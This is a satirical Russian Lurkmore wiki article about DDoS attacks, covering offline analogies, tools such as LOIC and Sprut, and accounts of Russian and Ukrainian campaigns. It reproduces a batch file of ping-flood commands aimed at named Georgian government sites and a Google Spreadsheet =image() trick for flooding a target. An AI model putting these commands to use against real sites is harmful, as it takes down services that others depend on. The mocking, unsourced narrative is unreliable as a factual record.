DDoS — Lurkmore

> **Анонимус!**
> Возможно, ты перепутал раскладку, желая написать: DOS.

«АИБ сидели на трубе. Нульч упал, Сосач пропал. У кого посольство в /b/? »

— О сабже на имиджбордах

DDoS (сокр. от англ. *Distributed Denial of Service*, *Распределённый отказ от обслуживания*) — изначально тип сетевой атаки, основанной на небезграничности ресурсов атакуемой службы, к которой организуется масса запросов, с которыми она заведомо не сможет справиться, и будет вынуждена отказать в обслуживании (либо заставить ждать неприемлемо долго), собственно, отсюда и название. Иногда слово применяется к аналогичным ситуациям в оффлайне (примеры ниже).

Суть™

Что такое DDoS атаки и где их заказать?

DoS-атака (Denial of Service) — закидывание неугодных ресурсов различным флудом, приводящее их к нокдауну. А DDoS-атака — это такая DoS-атака, которую осуществляет не один энтузиаст, а разгневанная толпа, желающая Страшный Суд, Ад и Погибель неправославному ресурсу. Весь профит этого метода заключается в том, что грамотно спланированную атаку невозможно отразить вообще. А ещё DDoS делается не только со своего компьютера, и среди программ до сих пор используется старый добрый Zeus. В результате сервер начинает как минимум безбожно тормозить при ответах на нормальные запросы, а то и вовсе ложится, не вынеся такого издевательства.

Проще говоря

Проще говоря, что такое DoS? Это, к примеру, когда ведёшь разговор с кем-то, но тут подходит алкаш, и начинает громко нести бред. Говорить либо невозможно, либо очень сложно. Решение: зовёшь охрану, она скручивает синяка и уводит.

The Matrix Reloaded Agent Smith Fight
DDoS в Матрице

DDoS же отличается тем, что алкашей вбегает толпа многотысячная, и даже если позвать охрану, она банально не сумеет всех скрутить и увести.

Наиболее же эффективная атака такого плана выполняется не тысячами набежавших алкашей (ибо набор добровольцев, организация, синхронизация и прочее), а превращением в зомби уже имеющихся вокруг мирных юзеров. Они уже есть, уже ходят вокруг, уже оборудованы ртом — осталось только заставить их начать орать поциенту в ухо. Всем сразу и независимо от их желания, по команде, с исполнительностью и настойчивостью компьютера. В компьютерном мире такой зохват душ обычно выполняется с помощью трояна.

IRL

Пример с алкашами вполне может быть применён к реалу. DDoS атаки проводились ещё в докомпьютерную эру различными весёлыми способами. Например:

Гражданский патруль в штабе Навального! 3.05.17
DDoS в штабе Кандидата

Школьный
: Это когда ученики, чтобы достать неугодного учителя, начинали мычать под нос. К кому учитель подходит, тот замолкает, остальные продолжают. Урок вести невозможно, ибо мычание быстро перерастает в рёв. Выяснить, кто мычит — тоже (описан у Льва Кассиля в «Кондуит и Швамбрания», а также в книге «Республика ШКИД»).

Бюрократический
: Описан у Стругацких в «Сказке о Тройке». Комиссию по рационализации и утилизации завалили кучей глупых заявок, и её работа была парализована.

Тюремный
: Разновидность бюрократического. За долгие годы отсидки чего только не выяснишь — вот и один сиделец обнаружил в советском законодательстве, что ни одна жалоба, поданная в минюст, какой бы бессмысленной она не была, не должна остаться без ответа. Конец немного предсказуем: каждый ЗК стал отправлять тысячи их, пока администрация не смягчила режимные требования.

Телефонный
: Это когда одному заслужившему хую регулярно звонят десяток-другой сочувствующих. На отлично ездит по нервам, а при должном усердии или количестве звонящих аппаратом становится невозможно пользоваться. Автоматизирован колл-центрами для борьбы с нелегальной рекламой по заказу властей. Пример: бесконечные заёбывающие звонки профессору Жуку из довольно-таки винрарной пьесы Кира Булычёва.

Потребительский
: Был проведён в Новосибе в одном из супермаркетов, где ввели новые правила, запрещающие кассирам обслуживать покупателей, не взявших корзинку или тележку. Народ устроил флэшмоб: в магазин пришла пара сотен человек, все взяли тележки, каждый кинул в свою тележку *один* сырок, и, как полагается, встали в очереди к кассам. Работа магазина остановилась. Охрана суетилась и бегала, но никто ничего не мог сделать: всё по закону и правилам, люди пришли за сырками…
Еще, в романе Артура Хейли «Менялы» описана типичная DDoS-атака на банк : масса людей по призыву некоей общественной организации (защиты прав потребителей) открывают счета на суммы типа пять баксов, затем кладут на них небольшие деньги, тут же их снимают, кладут опять и т. д. по кругу, изводя при этом кассиров долгими неторопливыми расспросами. Банк парализован.

На башорге
: «ДДоС атака на троллейбус — толпа народу с 500-рублёвыми купюрами»

И про башорг
: «ДДоС атака на башорг — толпа народу с чувством юмора»

DDoS группировки в России

Эта статья состоит из уныния и отчаяния.
Сделайте с ней что-нибудь.
Пожалуйста.

В России есть две крупные организации, занимающиеся DDoS-атаками на различные сайты:

- ООФР (Организация Объединенных Фагов России), в которую входят следующие мем-группировки: Лепрозорий Суеверный, Падшая часть ЖЖ и во главе, конечно же, Упячка.
  Главными жертвами ООФР стали:

1. www.mail.ru (за проект ЖУКИ),
2. www.gay.com (за то что гей),
3. www.4chan.org (за оскорбления бога «Онотоле»),
4. www.wikipedia.org (за статью про УПЧК, в которой было оскорбление в сторону котов (Котэ), не снятое модератором в течение месяца)
   И многие другие мелкие сайты, такие, например, как Двач и Зоофил.ру (посещаемостью в 100—200 человек).
   ООФР распалась в 2009 году из-за падения Упячки. После «возрождения» УПЧК плавно перелилась в безымянную группировку во главе с домовзрывателями.

- Хакер.Ру — крупнейший сайт скриптКидисов в СНГ, известен атакой на Ubisoft, в которой принимали участие приблизительно 4000-10000 человек (по словам админа) из России, Украины, Беларуси и даже некоторых европейских стран с целью наказать Ubisoft за разработанную ими DRM, новую защиту игр, над которой два месяца ломали бошку все кракеры мира. В результате атаки все сервера Ubisoft были перекрыты, сайт раскрашен (crash) на 4 часа. Также пользователям Хакера.Ру помогали фаги из новой Упячки и различные геймеры с разбитым сердцем. В активной ветке сабжа наблюдалось около 1000—1500 тужащихся, как несложно догадаться, испорожнения были эпическими. После вышеописанных событий и бурления говн у Ubisoft отпало желание использовать DRM в своих последующих проектах пруфлинк

ping как средство DDoS

Периодически на некоторых популярных сайтах появляются призывы массово пинговать какой-либо неугодный ресурс. Примером может служить башорг, в бездне которого призывали пинговать http://president.gov.ge/ и другие правительственные сайты Грузии во время войны в Южной Осетии:

> Создаём бат файл и запускаем в 12:00, 15:00, 18:00, 20:00 по Москве
>
> @echo off @echo Call this file (MSK) 12:00, 15:00, 18:00, 20:00 @echo Thanks for support of South Ossetia! Please, transfer this file to the friends! pause start ping -n 5000 -l 1000 www.newsgeorgia.ru -t start ping -n 5000 -l 1000 www.apsny.ge -t start ping -n 5000 -l 1000 www.nukri.org -t start ping -n 5000 -l 1000 www.opentext.org.ge -t start ping -n 5000 -l 1000 www.messenger.com.ge -t start ping -n 5000 -l 1000 www.president.gov.ge -t start ping -n 5000 -l 1000 www.government.gov.ge -t start ping -n 5000 -l 1000 www.parliament.ge -t start ping -n 5000 -l 1000 nsc.gov.ge -t start ping -n 5000 -l 1000 www.constcourt.gov.ge -t start ping -n 5000 -l 1000 www.supremecourt.ge -t start ping -n 5000 -l 1000 www.cec.gov.ge -t start ping -n 5000 -l 1000 www.nbg.gov.ge -t start ping -n 5000 -l 1000 www.nplg.gov.ge -t start ping -n 5000 -l 1000

> www.police.ge -t start ping -n 5000 -l 1000 www.mod.gov.ge -t start ping -n 5000 -l 1000
> www.mes.gov.ge -t start ping -n 5000 -l 1000 www.mfa.gov.ge -t start ping -n 5000 -l 1000
> www.iberiapac.ge -t start ping -n 5000 -l 1000 www.mof.ge -t start ping -n 5000 -l 1000
> www.sololaki.ru -t start ping -n 5000 -l 1000 www.president.pl -t

Эффективность этого способа невысокая, поскольку для защиты достаточно заблокировать ICMP echo-request пакеты, направленные на атакуемый сайт. Такая простая фильтрация позволяет надежно отделить валидные пакеты от мусорных, и на это способны даже простейшие маршрутизаторы. Если такую фильтрацию включить ещё на дальних подступах, где трафик с атакующих машин не забивает весь канал, то такой DDoS никак не повлияет на работоспособность атакуемого ресурса. Тем не менее, при массовом использовании может создавать некоторые проблемы.

Появлявшиеся то и дело новости об атаках на грузинские сайты (например) некоторые посетители баша восприняли как исключительно свою победу, хотя очевидно, что хакеры тоже не спали и проводили DDoS более надёжными способами.

Впрочем, грузинские админы никаких выводов не сделали. Так, president.gov.ge реально положить с двух-трёх компов нехитрой комбинацией ping+Sprut.

LOIC

Основная статья: ***Low Orbit Ion Cannon***

LOIC (*Low Orbit Ion Cannon*) — семейство софтин для DoSинга сайтов. Активно используются битардами во время разнообразных рейдов и междоусобных войн.

Интерфейс LOIC

Sprut

Старая проверенная программка, написанная мэтром yarik.by винрар знает в каком году.

Основана на SYN-флуде, то есть на открытии кучи соединений. Фишка в том, что сервак обычно не резиновый и соединений может держать конечное число; в Apache по умолчанию — 255. А Sprut их все занимает, и сайт превращается в слепоглухонемого.

Легко отбивается пряморуким админом путём ограничения максимального количества соединений с одним IP. (Никаких проксей осьминожек не признает и потому легко палится). Несмотря на это, всего с одного компа, с одним IP, вполне можно удерживать лежачими сайты без опытных работников.

Sprut входит в число излюбленных «лучемётов» УП4К вместе с LOIC и ударным пингом. А вообще, любая координированная SYN-флуд атака, при использовании пусть и небольшого диапазона IP, успешно валит каждый второй сервер, а при крупном диапазоне IP ложится до 95% серверов на просторах TCP.

DC++ DDoS

Ещё в 2008 году в DC++ была найдена уязвимость, позволяющая произвести DDoS с помощью всех компьютеров, подключенных к какому-либо хабу. Отличительная особенность этого варианта DDoS'а — его успех зависит от количества юзеров на хабе, а не от числа людей, которые производят сам DDoS (то есть этот способ эффективен, даже если работать в одиночку).

По состоянию на 26.04.2012 ботнет получается собрать не более чем из 1000 юзеров. DDoS только в теории…

Ссылка для скачивания

Корпорация добра как средство DDoS

Суть такова:
1. Создаем документ в этом их Spreadsheet
2. Вставляем в ячейки таблицы тысячи формул вида:

```
=image("http://targetname/file.pdf?r=1")
=image("http://targetname/file.pdf?r=2")
=image("http://targetname/file.pdf?r=3")
=image("http://targetname/file.pdf?r=over9000")
```

3. Гугль начнет кэшировать файлы по ссылкам из формул, чем создаст на атакуемый сайт нехилую нагрузку.
4. ???

5. PROFIT
Сайт практически гарантированно упадет либо от засирания канала, либо от превышения дневной нормы трафика. А главное, анон — качаешь эти данные не ты, и тебе совершенно не обязательно иметь дома персональный 100-мегабитный интернет-канал. Еще есть его мать другие методы защиты от Ddos и варианты накатать жалобу, если вас все достало сделайте это.

Термоядерный DDoS

То же самое, что и обычный, только выполняется ботнетом в сотни тысяч машин. Такой ботнет легко забивает магистральный канал в 100 Гбит/сек. Впервые такой DDoS был устроен в рунете в октябре 2010, в результате чего у УкрТелекома были серьезные проблемы с магистральными каналами (атаковали одного из их клиентов). Жертва, исправляя свои DNS-записи, смогла лишь временно положить ya.ru и насолить darpa.net, что было даже воспето в стихах. Способов защиты от столь масштабного DDoS не изобрел ещё никто.

В декабре 2010 года совместно с сотрудниками отдела «К» МВД РФ и зарубежными коллегами, которые занимаются IT-безопасностью, в зоне .RU был обнаружен огромный ботнет, который насчитывает порядка 600000 заражённых компьютеров-«зомби» по всему миру. Обнаруженный ботнет управляется с российских серверов (с каких именно, не уточняется), также удалось установить владельца ботнета, им оказался некто под ником «crazyese» (кроме того, что данный человек посещает форумы хакерской тематики и замешан в DDoS атаках на правительственные сайты разных стран, больше ничего не известно). После обнаружения ботнета владельцем этой сети заинтересовались спецслужбы разных стран.

9 февраля 2012 года в сеть попал ICQ номер (831577) того самого «crazyese», номер в сети опубликовал один из конкурентов «crazyese». Тем не менее, владелец номера это и не скрывает, продолжая открыто предлагать ddos услуги. Хакеры все чаще продолжают рекламировать свои ддос сервисы как в RU так и в EN сегменте

Недавно стало известно, что с центра управления ботнет-сети того самого «crazyese» были атакованы крупные интернет ресурсы, такие как lenta.ru, vkontakte.ru, yandex.ru, ozon.ru, nasa.gov, kremlin.ru, facebook.com, список сайтов можно перечислять до бесконечности. В конце апреля 2011 года, эксперты зафиксировали новую ботнет-сеть хакера под ником «crazyese», численность которой превышает 4.7 млн заражённых компьютеров по всему миру, 53% из всех «зомби-машин» располагаются в США. Численность новой обнаруженной ботнет-сети растёт с каждым днём. Так же сообщается, что найденный в декабре ботнет из более чем 600000 «зомби-машин» удалось ликвидировать, однако хакер по сей день в розыске.

Как стать DDoS-сером

Кроме вышеописанных методов добровольного участия в атаках на неугодные сайты, существует простой способ стать невольным участником атаки и на вполне угодный сайт. Все, что нужно для этого делать — сидеть под виндой и при этом:

- Шариться по порносайтам при помощи IE6.
- Открывать всю ту хуйню, которая приходит тебе по почте с сабжем типа «Блондинка с пятым размером груди мечтает познакомиться именно с тобой:прыщавым недоумком, грезящим, что рано или поздно он станет Дениелам Крейгом spoiler: (James Bond 007)».
- Совать в дырку флешки без ~~презерватива~~ антивируса.

Все вышеперечисленное было не актуально для линуксоидов (у которых зияющих дыр вроде IE6 сроду не было), но всё-таки стало актуально. Был создан Ботнет из Linux-устройств, возросла популярность Linux-ботнетов, ещё ботнет для DDoS-атак. Для маководов тоже стало актуально.

DDoS по-украински

Беспрецедентный пример претворения вышеописанных знаний и умений в жизнь ВНЕЗАПНО грянул первого февраля 2012 года на Украине, когда мусора наехали и разгромили один из популярных файлообменников ex.ua. В результате БОЛЕЕ СУТОК лежали все ключевые правительственные порталы, включая сайт президента, кабинета министров, парламента, гестапо и сайт правящей партии. Еще интереснее эффект — власти вернули обменник!

Кроме профессиональных кулхакеров и владельцев стад ботов ко флешмобу подключились от ста до трехсот тысяч рядовых пользователей, причем интересы их совсем не ограничивались защитой файлообменника. Флешмоб оказался средством консолидации тех, кто искренне желал осинового кола владельцам упомянутых ресурсов, соответственно про файлообменник забыли быстро.

Подробности битовой революции смотрите тут.

Новый виток битовая революция получила во время Евромайдана. Сразу после разгона демонстрации 30 ноября 2013 стабильно легли все правительственные сайты, ненадолго возобновив работу перед самым падением Проффесора 19-20 февраля 2014 года. После прихода к власти Кролега, под массивным DDoSом оказались почти все киевские новостные порталы и сайты телеканалов. Атака оказалась неудачной:

ресурсы глючили, не подгружали картинки, но не легли. После заброса экипированных туристов в Крым под залп главного калибра попали все крымские новостные сайты промайданной направленности (сайт Черноморской телерадиокомпании, расово татарского телеканала ATR, газеты «События» и прочие). На этот раз бастионы вільної нації легли за пять минут и находятся в перманентном дауне до сих пор (сайт Черноморки самовыпилился, на глагне ATR красуется лагающее окно онлайн-просмотра канала, остальные просто не грузятся). На следующий день были выпилены уже сами каналы: после двухдневного радиоглушения (в какой-то мере это тоже DDoS) Симферопольская телебашня была занята взводом экскурсантов, которые переключили на соответствующие частоты российские каналы. Киевские укры негодовали, крымское правительство словило немало лулзов, а население начало массово жарить кукурузные зерна. Следующий раунд был еще более эпичным: 14 марта один за другим легли сайты Центробанка, ВГТРК, Первого канала, Российской Газеты. Ближе к вечеру в бездну улетел Kremlin.Ru, сайты МИДа и Межпарламентской Ассамблеи СНГ грузились минутами; так же прилег поспать и сайт Верховного Совета Крыма. Ответственность на себя тут же взяла «Киберсотня» (IT-крыло Евромайдана, ранее дудосившее сайт Верховной Рады), хотя масштабы атаки вкупе с пиндосскими айпишниками заставляют сильно усомниться в их причастности. Через 2 дня жители Юго-Востока начали пилить свой ответ Чемберлену: в многочисленных группах несогласных с майданутым режимом был распространен призыв, клич так же кинули в российских группах и уже к вечеру под низкоорбитальным ионным залпом лег сам сайт НАТО, после чего пролежал еще почти сутки.

См. также

- Атака обезумевших эксплуататоров из компании Prime Lab на портал радикальных лентяев antijob.anho.org
- Хорошая статья на тему

Just Another Fucking Acronym

14/88 1C 265 A.C.A.B. ADSL AFAIK AFK AISB AJAX Aka All your base are belong to us AMV ASAP ASL ASMR ASUS EEE BAT BBS BDSM BOFH BRB BSOD BTW CMS Command & Conquer Copyright Counter-Strike CYA DC DDoS Delicious flat chest Direct Connect DIY DJ Doki Doki Literature Club! DOS DRM EFG Etc Five Nights at Freddy's Frequently asked questions FTL FTN FTW FUBAR GIF GIMP GNAA GPON Grammar nazi Grand Theft Auto GTFO Happy Tree Friends HBO How It Should Have Ended I see what you did there I2P IANAL IDDQD IIRC IMHO In before Internet Explorer IRC IRL ITT JB (ЛОР) JFGI Kerbal Space Program KFC KISS Let's get ready to rumble! LFS Livejournal.com LMAO LMD LOL Low Orbit Ion Cannon M4 MacOS Microsoft MILF MMORPG MSX MTV N.B. NASCAR NEDM NES NoNaMe Not Your Personal Army NRB NSFW O RLY? OK OMG OS/2 P. S. P2P Panty and Stocking with Garterbelt

Интернет

Интернеты 127.0.0.1 ADSL Bitcoin CMS DDoS Frequently asked questions GPON I2P Internet White Knight IPv6 IRC MediaGet Miranda NO CARRIER QIP Ru@razlogoff.org SEO Skype Tor TOS Via WAP Ёбаное ВТ Админ Акадо Американские интернеты Анонимус Аська Бан Бесплатный хостинг картинок Блог Блогосфера Бот Ботнет Браузерка Бугагашечки Бурление говн Вап-чаты Веб 1.0 Веб 2.0 Вики Виртуал Вордфильтр Голосование ногами Гостевуха Диалап Дом.ру Домашняя страница Дорвей Единый реестр запрещённых сайтов Жаббер Заповеди интернета Заработок в интернете Идентификация пользователей в интернете Известные интернет-флешмобы Имиджборд Инвайт Интернет-магазин Интернет-сервисы Искра Кик Кириллические домены Кликбейт Коммент Комьюнити Лесенка Лог Локалка Макхост Мем Микроблог Мобильный интернет Модератор Некропост Ник Оптимизатор Ответы Офлайн Оффтопик Письма счастья Подкаст Поисковая бомба Покровитель интернетов Пост Правила интернетов Предыдущий оратор Премодерация Пруфлинк Рерайтинг Ростелеком Сабж Сетевые онанисты Симпафка Синдром вахтёра Ситилайн Скайнет Скриншот Смайл Социальная сеть

Специальная олимпиада

AlexSword Avanturist Butthurt Check you DDoS Encyclopedia Dramatica/Атеист Fandom Grammar nazi IQ Livejournal.com Mac vs. PC S Special Olympics TeX X не умер Аборт Автосрачи Адекватная точка зрения Активная гражданская позиция Алкснис Аргументация в полемике Армата Арнольд Зукагой Артефакты Петербурга Атеизм Атеизм/Orthodox Edition Бесполезная наука Битва слона с китом Бодибилдинг Бокланопоцтит Бокс по переписке Ботинкометание Бульбосрач Бурление говн В/на Вайп Вандализм Ванкувер 2010 Леонид Василевский Вброс говна в вентилятор Веганы Великая Отечественная война Взлетит или не взлетит? Винилофилия ВиО Война правок Война пятницы тринадцатого Георгиевская ленточка Глобальное потепление ГМО Гоблин Говнарь Гогисрач Градус неадеквата Гражданская война в России Гринпис Демотивационный постер Детерминизм Диалог с собой Диванные войска Дружба между мужчиной и женщиной Дыхота Евромайдан Европейцы ли русские? Еда Жанрозадротство Женская логика Женя Духовникова Жестокость в компьютерных играх Иранский вопрос История древней Украины Как нам обустроить Россию Книга лучше Книга рекордов Гиннесса Комплексы Копирсрач Критерий Поппера Кровная месть Крокодил Кулинарный сноб Кургинян Курица или яйцо? Лавхейт Легалайз Ленд-лиз Лунный заговор Мавзолей Ленина Майдан Мицгол Моралфажество Моргенштерн Мужики vs бабы На самом деле Надмозг Наука vs религия Научный креационизм Национальная идея Не аниме Нот всего семь Обезьяна с гранатой

ae:DDoS w:DDoS en.w:DDoS